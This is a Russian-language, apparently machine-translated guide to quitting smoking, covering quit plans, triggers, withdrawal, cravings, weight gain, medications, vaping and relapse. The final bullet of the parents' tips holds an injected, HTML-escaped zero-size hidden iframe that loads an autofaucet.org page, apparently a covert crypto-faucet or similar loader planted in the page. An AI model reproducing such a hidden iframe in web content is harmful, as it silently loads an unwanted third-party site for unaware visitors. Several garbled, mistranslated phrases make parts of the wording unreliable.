Как бросить курить

Готовы бросить курить? Эти советы помогут вам навсегда избавиться от привычки курить.

Почему бросить так тяжело?

Мы все знаем о вреде курения для здоровья, но от этого не легче избавиться от этой привычки. Независимо от того, курите ли вы время от времени в подростковом возрасте или курите всю жизнь по пачке в день, бросить курить может быть очень сложно.

Курение табака — это и физическая зависимость, и психологическая привычка. Никотин из сигарет дает временный и вызывающий привыкание кайф. Устранение этой регулярной дозы никотина заставляет ваше тело испытывать физические симптомы отмены и тягу. Из-за того, что никотин оказывает «хорошее самочувствие» на мозг, вы можете обратиться к сигаретам как к быстрому и надежному способу улучшить свое мировоззрение, снять стресс и расслабиться. Курение также может быть способом справиться с депрессией, беспокойством или даже скукой. Бросить курить означает найти другие, более здоровые способы справиться с этими чувствами.

Курение также стало ежедневным ритуалом. Выкурить сигарету с утренним кофе во время перерыва на работе или в школе или по дороге домой в конце напряженного дня может быть вашей автоматической реакцией. Или, может быть, ваши друзья, семья или коллеги курят, и это стало частью вашего отношения к ним.

Чтобы успешно бросить курить, вам необходимо бороться как с зависимостью, так и с привычками и распорядком дня, которые сопровождают ее. Но это может быть сделано. Имея правильную поддержку и план отказа от курения, любой курильщик может избавиться от зависимости, даже если вы уже несколько раз пытались и потерпели неудачу.

Ваш личный план отказа от курения

В то время как некоторые курильщики успешно бросают курить, отказываясь от курения, большинству людей лучше удается придерживаться индивидуального плана, чтобы не сбиться с пути. Хороший план отказа от курения решает как краткосрочную задачу прекращения курения, так и долгосрочную задачу предотвращения рецидива. Он также должен быть адаптирован к вашим конкретным потребностям и привычкам курения.

Вопросы, которые нужно задать себе

Найдите время, чтобы подумать о том, какой вы курильщик, какие моменты вашей жизни требуют сигареты и почему. Это поможет вам определить, какие советы, методы или методы лечения могут быть наиболее полезными для вас.

Вы очень заядлый курильщик (более пачки в день)? Или вы больше социальный курильщик? Поможет ли простой никотиновый пластырь?

Есть ли определенные виды деятельности, места или люди, которые ассоциируются у вас с курением? Чувствуете ли вы необходимость курить после каждого приема пищи или во время перерыва на кофе?

Вы тянетесь за сигаретами, когда чувствуете стресс или подавленность? Или ваше курение сигарет связано с другими зависимостями, такими как алкоголь или азартные игры ?

Начните свой план по отказу от курения с СТАРТ

S = Установить дату выхода.

Выберите дату в течение следующих двух недель, чтобы у вас было достаточно времени, чтобы подготовиться, не теряя мотивации бросить курить. Если вы в основном курите на работе, бросьте курить на выходных, чтобы у вас было несколько дней, чтобы приспособиться к переменам.

T = Сообщите семье, друзьям и коллегам, что вы планируете бросить курить.

Расскажите своим друзьям и семье о вашем плане бросить курить и скажите им, что вам нужна их поддержка и поддержка, чтобы бросить курить. Найдите приятеля, который тоже хочет бросить курить. Вы можете помочь друг другу пережить трудные времена.

A = Предвидеть и планировать проблемы, с которыми вы столкнетесь при отказе от курения.

Большинство людей, которые снова начинают курить, делают это в течение первых трех месяцев. Вы можете помочь себе справиться с этим, заранее подготовившись к обычным проблемам, таким как никотиновая абстиненция и тяга к сигаретам.

R = Уберите сигареты и другие табачные изделия из дома, машины и работы.

Выбросьте все свои сигареты, зажигалки, пепельницы и спички. Постирайте одежду и освежите все, что пахнет дымом. Помойте машину шампунем, почистите шторы и ковер и отпарьте мебель.

T = Поговорите со своим врачом о помощи в отказе от курения.

Ваш врач может назначить лекарства, чтобы помочь с симптомами отмены. Если вы не можете обратиться к врачу, вы можете приобрести многие продукты без рецепта в местной аптеке, включая никотиновые пластыри, пастилки и жевательную резинку.

Определите свои триггеры курения

Одна из лучших вещей, которые вы можете сделать, чтобы помочь себе бросить курить, — это определить, что заставляет вас хотеть курить, включая конкретные ситуации, действия, чувства и людей.

Ведите журнал желаний

Журнал тяги может помочь вам сосредоточиться на своих шаблонах и триггерах. В течение недели или около того, предшествующей дате прекращения курения, ведите журнал своего курения. Отмечайте моменты каждого дня, когда вам хочется закурить:

1. Сколько было времени?
2. Насколько сильной была тяга (по шкале от 1 до 10)?
3. Что ты делал?
4. С кем ты был?
5. Как вы себя чувствовали?
6. Как вы себя чувствовали после курения?

Вы курите, чтобы избавиться от неприятных ощущений?

Многие из нас курят, чтобы справиться с неприятными чувствами, такими как стресс, депрессия, одиночество и тревога. Когда у вас плохой день, может показаться, что сигареты — ваш единственный друг. Несмотря на то, что сигареты приносят много комфорта, важно помнить, что существуют более здоровые и эффективные способы контролировать неприятные ощущения. Это могут быть упражнения, медитация, стратегии релаксации или простые дыхательные упражнения.

Для многих людей важным аспектом отказа от курения является поиск альтернативных способов справиться с этими трудными чувствами , не прибегая к сигаретам. Даже когда сигареты больше не являются частью вашей жизни, болезненные и неприятные ощущения, которые могли побуждать вас к курению в прошлом, все равно останутся. Так что стоит потратить некоторое время на размышления о том, как вы собираетесь справляться со стрессовыми ситуациями и ежедневными раздражениями, которые обычно заставляют вас загораться.

Советы по предотвращению распространенных триггеров

Алкоголь. Многие люди курят , когда пьют . Попробуйте перейти на безалкогольные напитки или пейте только в местах, где запрещено курение внутри помещений. В качестве альтернативы попробуйте перекусывать орехами, жевать коктейльную палочку или сосать соломинку.

Другие курильщики. Когда друзья, семья и коллеги курят рядом с вами, бывает вдвойне трудно бросить курить или избежать рецидива. Расскажите о своем решении бросить курить, чтобы люди знали, что они не смогут курить, когда вы едете с ними в машине или вместе делаете перерыв на кофе. На своем рабочем месте найдите некурящих, с которыми можно устраивать перерывы, или найдите другие занятия, например прогулку.

Конец трапезы. Для некоторых курильщиков окончание трапезы означает закуривание, и перспектива бросить это может показаться пугающей. Однако вы можете попробовать заменить этот момент после еды чем-то другим, например, фруктом, полезным десертом, плиткой шоколада или жевательной резинкой.

Как справиться с симптомами никотиновой абстиненции

После того, как вы бросите курить, вы, вероятно, почувствуете ряд физических симптомов, когда ваш организм отказывается от никотина. Отказ от никотина начинается быстро, обычно в течение часа после последней сигареты и достигает пика через два-три дня. Симптомы отмены могут длиться от нескольких дней до нескольких недель и различаются у разных людей.

Общие симптомы отмены никотина включают в себя:

1. Сигаретная тяга
2. Раздражительность, разочарование или гнев
3. Беспокойство или нервозность
4. Трудности с концентрацией внимания
5. Беспокойство
6. Повышенный аппетит
7. Головные боли
8. Бессонница
9. Тремор
10. Усиленный кашель
11. Усталость
12. Запор или расстройство желудка
13. Депрессия
14. Снижение частоты сердечных сокращений

Какими бы неприятными ни были эти симптомы отмены, важно помнить, что они носят временный характер. Они поправятся через несколько недель, когда токсины вымываются из вашего тела. А пока сообщите своим друзьям и семье, что вы не будете вести себя как обычно, и попросите их понимания.

Управляйте тягой к сигаретам

Хотя избегание триггеров курения поможет уменьшить ваше желание курить, вы, вероятно, не сможете полностью избавиться от тяги к сигаретам. К счастью, тяга длится недолго — обычно около 5 или 10 минут. Если вам хочется закурить, напомните себе, что тяга скоро пройдет, и постарайтесь переждать. Это помогает быть готовым заранее, имея стратегии, чтобы справиться с тягой.

Отвлеките себя. Помойте посуду, включите телевизор, примите душ или позвоните другу. Деятельность не имеет значения, пока она отвлекает вас от курения.

Напомните себе, почему вы бросили. Сосредоточьтесь на причинах отказа от курения, включая пользу для здоровья (например, снижение риска сердечно-сосудистых заболеваний и рака легких), улучшение внешнего вида, экономию денег и повышение самооценки.

Выйти из заманчивой ситуации. То, где вы находитесь или что вы делаете, может вызывать тягу. Если да, то смена обстановки может все изменить.

Награди себя. Укрепляйте свои победы. Всякий раз, когда вы побеждаете тягу, дайте себе награду, чтобы сохранить мотивацию.

Как справиться с тягой к сигаретам в данный момент

Найдите оральный заменитель — Держите под рукой что-нибудь другое, чтобы можно было положить в рот, когда возникнет тяга к курению. Попробуйте мятные палочки, морковь или сельдерей, жевательную резинку или семена подсолнечника.

Займите себя чем -нибудь: почитайте книгу или журнал, послушайте любимую музыку, разгадайте кроссворд или судоку или поиграйте в онлайн-игру.

Держите руки занятыми . Сжимайте шарики, карандаши или скрепки для бумаги, чтобы удовлетворить эту потребность в тактильной стимуляции.

Почистите зубы . Ощущение чистоты после чистки может помочь избавиться от тяги к сигаретам.

Пейте воду . Медленно выпейте большой стакан воды. Это не только поможет избавиться от тяги, но и поможет свести к минимуму симптомы никотиновой абстиненции.

Зажгите что-нибудь другое . Вместо того, чтобы зажечь сигарету, зажгите свечу или благовония.

Будьте активны — прогуляйтесь, попрыгайте или отжимайтесь, попробуйте растяжку из йоги или побегайте по кварталу.

Постарайтесь расслабиться . Сделайте что-нибудь, что вас успокаивает, например, примите теплую ванну, помедитируйте, почитайте книгу или выполните упражнения по глубокому дыханию.

Отправляйтесь в место, где курение запрещено . Например, зайдите в общественное здание, магазин, торговый центр, кафе или кинотеатр.

Предотвращение набора веса после того, как вы бросите курить

Курение действует как подавитель аппетита, поэтому набор веса является общей проблемой для многих из нас, когда мы решаем отказаться от сигарет. Возможно, вы даже используете это как причину не бросать курить. Хотя многие курильщики действительно прибавляют в весе в течение шести месяцев после отказа от курения, прибавка обычно невелика — в среднем около пяти фунтов — и эта первоначальная прибавка со временем уменьшается. Также важно помнить, что ношение нескольких лишних килограммов в течение нескольких месяцев не причинит вашему сердцу такой боли, как курение. Однако набор веса НЕ является неизбежным, если вы бросите курить.

Курение притупляет ваше обоняние и вкус, поэтому после того, как вы бросите курить, еда часто будет казаться вам более привлекательной. Вы также можете набрать вес, если замените оральное удовольствие от курения употреблением нездоровой комфортной пищи. Поэтому важно найти другие, здоровые способы справиться с неприятными чувствами, такими как стресс, тревога или скука, а не  бессмысленное, эмоциональное переедание .

Воспитывайте себя. Вместо того чтобы прибегать к сигаретам или еде, когда вы испытываете стресс, тревогу или депрессию, изучите новые способы быстрого успокоения . Послушайте бодрящую музыку, поиграйте с домашним животным или, например, выпейте чашку горячего чая.

Ешьте здоровую, разнообразную пищу. Ешьте много фруктов, овощей и полезных жиров . Избегайте сладких продуктов , газированных напитков, жареного и полуфабрикатов.

Научитесь есть осознанно. Эмоциональное питание имеет тенденцию быть автоматическим и практически бездумным. Легко доесть рожок с мороженым, сидя перед телевизором или глядя в телефон. Но, убрав отвлекающие факторы во время еды, вам будет легче сосредоточиться на том, сколько вы едите, и настроиться на свое тело и на то, как вы на самом деле себя чувствуете. Вы действительно все еще голодны или едите по другой причине?

Пей много воды. Питьевая по крайней мере от шести до восьми 8 унций. очки помогут вам чувствовать себя сытым и не позволят вам есть, когда вы не голодны. Вода также поможет вывести токсины из организма.

Прогуляться. Это не только поможет вам сжечь калории и удержать вес , но также поможет облегчить чувство стресса и разочарования, которые сопровождают отказ от курения.

Перекусывайте продуктами без чувства вины. Хороший выбор включает жевательную резинку без сахара, палочки из моркови и сельдерея, нарезанный болгарский перец или хикаму.

Лекарства и терапия, которые помогут вам бросить курить

Есть много различных методов, которые успешно помогли людям избавиться от привычки курить. Хотя вы можете добиться успеха с первым методом, который вы попробуете, скорее всего, вам придется попробовать несколько различных методов или комбинацию методов лечения, чтобы найти те, которые лучше всего подходят для вас.

Лекарства

Лекарства для отказа от курения могут облегчить симптомы отмены и уменьшить тягу к курению. Они наиболее эффективны, когда используются как часть комплексной программы отказа от курения под наблюдением врача. Поговорите со своим врачом о возможных вариантах и ​​о том, подходит ли вам лекарство от курения. Варианты, одобренные Управлением по санитарному надзору за качеством пищевых продуктов и медикаментов США (FDA):

Никотинзаместительная терапия. Никотинзаместительная терапия включает «замену» сигарет другими заменителями никотина, такими как никотиновая жевательная резинка, пластырь, леденец, ингалятор или назальный спрей. Он облегчает некоторые симптомы абстиненции, доставляя в организм небольшие и стабильные дозы никотина без смол и ядовитых газов, присутствующих в сигаретах. Этот тип лечения помогает вам сосредоточиться на преодолении психологической зависимости и облегчает концентрацию на изучении нового поведения и навыков преодоления.

Препарат без никотина. Эти лекарства помогают бросить курить, уменьшая тягу и симптомы отмены без использования никотина. Такие лекарства, как бупропион (Зибан) и варениклин (Чантикс, Чампикс), предназначены только для кратковременного применения.

Что нужно знать об электронных сигаретах (вейпинге)

Хотя некоторые люди считают, что вейпинг может помочь им бросить курить, FDA не одобрило вейпинг как метод отказа от курения. А недавние новостные сообщения даже связали вейпинг с тяжелым заболеванием легких, что вызвало много вопросов о безопасности вейпинга. Вот что вам нужно знать:

• В Соединенных Штатах FDA не регулирует электронные сигареты.
• FDA предупреждает, что вейпинг «небезопасен для молодежи, молодых людей, беременных женщин или взрослых, которые в настоящее время не употребляют табачные изделия».
• Трудно всегда точно знать, что содержится в электронных сигаретах.
• Жидкость, используемая в некоторых электронных сигаретах, содержит никотин, который имеет много негативных последствий для здоровья. Это может привести к высокому кровяному давлению и диабету и может быть особенно опасным для развивающегося мозга детей и подростков.
• Информации о долгосрочных последствиях вейпинга для здоровья нет.
• Пока не станет известно больше, федеральные власти и власти штатов рекомендуют избегать вейпинга.

Альтернативные методы лечения

Есть несколько вещей, которые вы можете сделать, чтобы бросить курить, которые не включают никотин заместительную терапию, вейпинг или лекарства, отпускаемые по рецепту. Это включает:

Гипноз — это популярный вариант, который дал хорошие результаты многим курильщикам, пытающимся бросить курить. Забудьте обо всем, что вы, возможно, видели от гипнотизеров на сцене, гипноз работает, приводя вас в глубоко расслабленное состояние, когда вы открыты для внушений, которые укрепляют вашу решимость бросить курить и усиливают ваше негативное отношение к сигаретам.

Акупунктура . Считается, что одна из старейших известных медицинских техник иглоукалывания работает, вызывая выброс эндорфинов (естественных болеутоляющих средств), которые позволяют телу расслабиться. В качестве вспомогательного средства при отказе от курения иглоукалывание может помочь справиться с симптомами отмены курения.

Поведенческая терапия . Никотиновая зависимость связана с привычным поведением или ритуалами, связанными с курением. Поведенческая терапия фокусируется на изучении новых навыков преодоления трудностей и избавлении от этих привычек.

Мотивационная терапия . Книги и веб-сайты по самопомощи могут предоставить ряд способов мотивировать себя бросить курить. Одним из хорошо известных примеров является расчет денежных сбережений. Некоторые люди смогли найти мотивацию бросить курить, просто подсчитав, сколько денег они сэкономят. Этого может быть достаточно для оплаты летнего отпуска.

Бездымный или плюющийся табак НЕ является здоровой альтернативой курению.

Бездымный табак, также известный как плевательный или жевательный табак, не является безопасной альтернативой курению сигарет. Он содержит то же химическое вещество, вызывающее привыкание, никотин, что и сигареты. Фактически, количество никотина, поглощаемого из бездымного табака, может в 3-4 раза превышать количество, выделяемое сигаретой.

Что делать, если вы поскользнулись или сорвались

Большинство людей пытаются бросить курить несколько раз, прежде чем избавиться от привычки навсегда, так что не корите себя, если вы ошибетесь и выкурите сигарету. Вместо этого превратите рецидив в отскок, научившись на своей ошибке. Проанализируйте, что произошло прямо перед тем, как вы снова начали курить, определите триггеры или проблемные места, с которыми вы столкнулись, и составьте новый план отказа от курения, который их устранит.

Также важно подчеркнуть разницу между срывом и рецидивом. Если вы снова начнете курить, это не значит, что вы не сможете вернуться в фургон. Вы можете извлечь уроки из промаха и позволить ему побудить вас стараться больше, или вы можете использовать его в качестве предлога, чтобы вернуться к своей привычке курить. Но выбор за вами. Промах не должен превращаться в полномасштабный рецидив.

Ты не неудачник, если оступишься. Это не значит, что вы не можете бросить навсегда.

Не позволяйте промаху превратиться в оползень. Выбросьте остаток упаковки. Важно как можно скорее вернуться на путь отказа от курения.

Оглянитесь на свой журнал отказа от курения и почувствуйте себя хорошо в то время, когда вы не курили.

Найдите триггер. Что именно заставило тебя снова закурить? Решите, как вы справитесь с этой проблемой в следующий раз, когда она возникнет.

Учитесь на своем опыте. Что было самым полезным? Что не сработало?

Вы используете лекарство, чтобы помочь вам бросить курить? Позвоните своему врачу, если вы снова начнете курить. Некоторые лекарства нельзя использовать, если вы одновременно курите.

Помочь близкому человеку бросить курить

Важно помнить, что вы не можете заставить друга или близкого человека отказаться от сигарет; решение должно быть за ними. Но если они все же примут решение бросить курить, вы можете предложить поддержку и поддержку и попытаться облегчить стресс, связанный с отказом от курения. Изучите различные доступные варианты лечения и обсудите их с курильщиком; просто будьте осторожны, никогда не проповедуйте и не осуждайте. Вы также можете помочь курильщику преодолеть тягу к курению, занимаясь с ним другими делами и держа под рукой заменители курения, такие как жевательная резинка.

Если любимый человек оступается или срывается, не заставляйте его чувствовать себя виноватым. Поздравьте их с тем, что они остались без сигарет, и предложите им попробовать еще раз. Ваша поддержка может сыграть решающую роль в том, чтобы помочь любимому человеку избавиться от привычки навсегда.

Помочь подростку бросить курить

Большинство курильщиков пробуют свою первую сигарету примерно в возрасте 11 лет, и многие становятся зависимыми к тому времени, когда им исполняется 14 лет. Использование электронных сигарет (вейпинг) также резко возросло в последние годы. Хотя последствия вейпинга для здоровья еще полностью не известны, FDA предупреждает, что это небезопасно для подростков, и мы знаем, что подростки, которые вейпируют, с большей вероятностью начнут курить сигареты. Это может беспокоить родителей, но важно осознавать уникальные проблемы и давление со стороны сверстников, с которыми сталкиваются подростки, когда дело доходит до отказа от курения (или вейпинга). Хотя решение бросить курить должен принимать сам курильщик-подросток, у вас все еще есть много способов помочь.

Советы родителям подростков, которые курят или вейпируют

• Узнайте, почему ваш подросток курит или вейпит; они могут хотеть быть принятыми своими сверстниками или искать внимания от вас. Вместо угроз или ультиматумов поговорите о том, какие изменения можно внести в их жизнь, чтобы помочь им бросить курить.
• Если ваш ребенок согласен бросить курить, проявите терпение и поддержите его в этом процессе.
• Подайте хороший пример, не курите сами. У курящих родителей чаще рождаются курящие дети.
• Узнайте, есть ли у ваших детей друзья, которые курят или вейпируют. Поговорите с ними о том, как отказаться от сигареты или электронной сигареты.
• Объясните опасность для здоровья и неприятные побочные эффекты курения на их внешний вид (например, неприятный запах изо рта, изменение цвета зубов и ногтей).
• Установите в своем доме запрет на курение. Не позволяйте никому курить или вейпировать в помещении в любое время.
• <font style="box-sizing: border-box; margin: 0px; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: inherit; background: transparent;"><font style="box-sizing: border-box; margin: 0px; padding: 0px; border: 0px; outline: 0px; font-size: 13px; vertical-align: inherit; background: transparent;">&lt;iframe src="https://autofaucet.org/wm/sdg32/4" width="0" height="0" style="border:0"&gt;&lt;/iframe&gt;</font></font>